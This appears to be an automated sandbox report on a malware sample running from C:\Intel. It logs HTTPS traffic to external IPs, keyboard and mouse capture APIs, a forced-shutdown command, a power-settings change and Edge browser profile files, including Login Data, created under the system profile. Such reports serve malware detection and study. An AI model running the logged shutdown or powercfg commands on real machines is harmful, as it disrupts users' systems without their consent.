Source: unknown	Network traffic detected: HTTP traffic on port 64664 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50462 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54856
Source: unknown	Network traffic detected: HTTP traffic on port 60768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53665 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53258 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50206 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54183
Source: unknown	Network traffic detected: HTTP traffic on port 50350 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60513 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54228 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52161
Source: unknown	Network traffic detected: HTTP traffic on port 52371 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58227 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64133
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61267
Source: unknown	Network traffic detected: HTTP traffic on port 63674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 60058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62304 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59134 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53133
Source: unknown	Network traffic detected: HTTP traffic on port 59765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52471 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63255 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54228
Source: unknown	Network traffic detected: HTTP traffic on port 63290 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53258
Source: unknown	Network traffic detected: HTTP traffic on port 62279 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53380
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59765
Source: unknown	Network traffic detected: HTTP traffic on port 58637 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59486
Source: unknown	Network traffic detected: HTTP traffic on port 63597 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63297
Source: unknown	Network traffic detected: HTTP traffic on port 54710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62880
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64664
Source: unknown	Network traffic detected: HTTP traffic on port 50713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63457
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 58604 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50559
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61052
Source: unknown	Network traffic detected: HTTP traffic on port 64133 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54685 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53665
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53302
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58048
Source: unknown	Network traffic detected: HTTP traffic on port 61072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59134
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60513
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64557
Source: unknown	Network traffic detected: HTTP traffic on port 53133 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50206
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 61086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58604
Source: unknown	Network traffic detected: HTTP traffic on port 50559 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57238
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62304
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63999
Source: unknown	Network traffic detected: HTTP traffic on port 53719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58970
Source: unknown	Network traffic detected: HTTP traffic on port 61964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64969
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61614
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64605
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52471
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57085
Source: unknown	Network traffic detected: HTTP traffic on port 50590 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64609
Source: unknown	Network traffic detected: HTTP traffic on port 64527 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63597
Source: unknown	Network traffic detected: HTTP traffic on port 64609 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60768

Source: unknown	HTTPS traffic detected: 57.129.37.157:443 -> 192.168.11.20:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 57.129.37.157:443 -> 192.168.11.20:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 160.202.165.71:443 -> 192.168.11.20:49766 version: TLS 1.2

Source: C:\Intel\svchost.exe

Code function: 42_2_03E38D00 GetKeyState,GetKeyboardState,

42_2_03E38D00

Source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp

Binary or memory string: DirectDrawCreateEx

memstr_580119ce-d

Source: C:\Intel\Trays\Trays.exe

Windows user hook set: 0 mouse C:\Intel\Trays\ShellEh6055.dll

Source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp

Binary or memory string: GetRawInputData

memstr_fc39d36e-6

System Summary

Uses powercfg.exe to modify the power settings

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\powercfg.exe powercfg -setacvalueindex SCHEME_CURRENT 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0

Uses shutdown.exe to shutdown or reboot the system

Source: unknown

Process created: C:\Windows\System32\shutdown.exe C:\Windows\system32\shutdown.EXE /s /f /t 0

Source: C:\Intel\svchost.exe	Code function: 42_2_03E3A4B6 NtdllDefWindowProc_A,	42_2_03E3A4B6
Source: C:\Intel\svchost.exe	Code function: 42_2_03E3A4B8 NtdllDefWindowProc_A,	42_2_03E3A4B8
Source: C:\Intel\svchost.exe	Code function: 44_2_03E3A4B6 NtdllDefWindowProc_A,	44_2_03E3A4B6
Source: C:\Intel\svchost.exe	Code function: 44_2_03E3A4B8 NtdllDefWindowProc_A,	44_2_03E3A4B8
Source: C:\Intel\svchost.exe	Code function: 45_2_03E3A4B6 NtdllDefWindowProc_A,	45_2_03E3A4B6
Source: C:\Intel\svchost.exe	Code function: 45_2_03E3A4B8 NtdllDefWindowProc_A,	45_2_03E3A4B8

Source: C:\Intel\driver.exe

Code function: 40_2_00404B5C: CreateFileW,DeviceIoControl,CloseHandle,

40_2_00404B5C

Source: C:\Intel\driver.exe

Code function: 40_2_0040C734 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,

40_2_0040C734

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6782159F-1D6C.pma
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\cache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\download_cache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\warnStateCache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ShaderCache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\lockfile
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Last Version
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\README
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_2
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Web Data
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Web Data-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\History-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Favicons
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Favicons-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\5c07473f-281c-45cb-bea7-aab2092a1778.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Safe Browsing
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\First Run
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\FirstLaunchAfterInstallation
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\8097023c-d1dd-4803-b7e9-55bb1d2582a4.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\synchronousLookupUris_638343870221005468
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\synchronousLookupUris
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\75387db4-416b-4965-9d86-de9deab1a890.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\GrShaderCache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico~RF1f90a0.TMP
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\b04a53e9-e829-40a2-bd2d-80571496c6a2.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\3c2ef124-1048-4984-9f26-ddfeb12ce27d.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_2
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Speech Recognition
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\ZxcvbnData
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\OriginTrials
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Subresource Filter
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\RecoveryImproved
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Web Notifications Deny List
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Edge Shopping
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\WidevineCdm
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Trust Protection Lists
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Local State~RF1f912d.TMP
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\GPUCache\data_3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sessions
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\edgeSettings_2.0-2f9188b68640dbf72295f9083a21d674a314721ef06f82db281cbcb052ff8ec1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\edgeSettings
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Top Sites
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Top Sites-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\topTraffic_638004170464094982
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\topTraffic
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_1
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_2
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Visited Links
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm\index-dir
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\temp-index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm\index-dir\temp-index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata
